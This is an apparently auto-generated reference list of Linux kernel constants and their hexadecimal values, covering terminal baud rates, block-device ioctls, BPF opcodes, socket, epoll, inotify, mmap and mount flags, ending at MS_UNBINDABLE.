-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_32BIT = 0x40
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
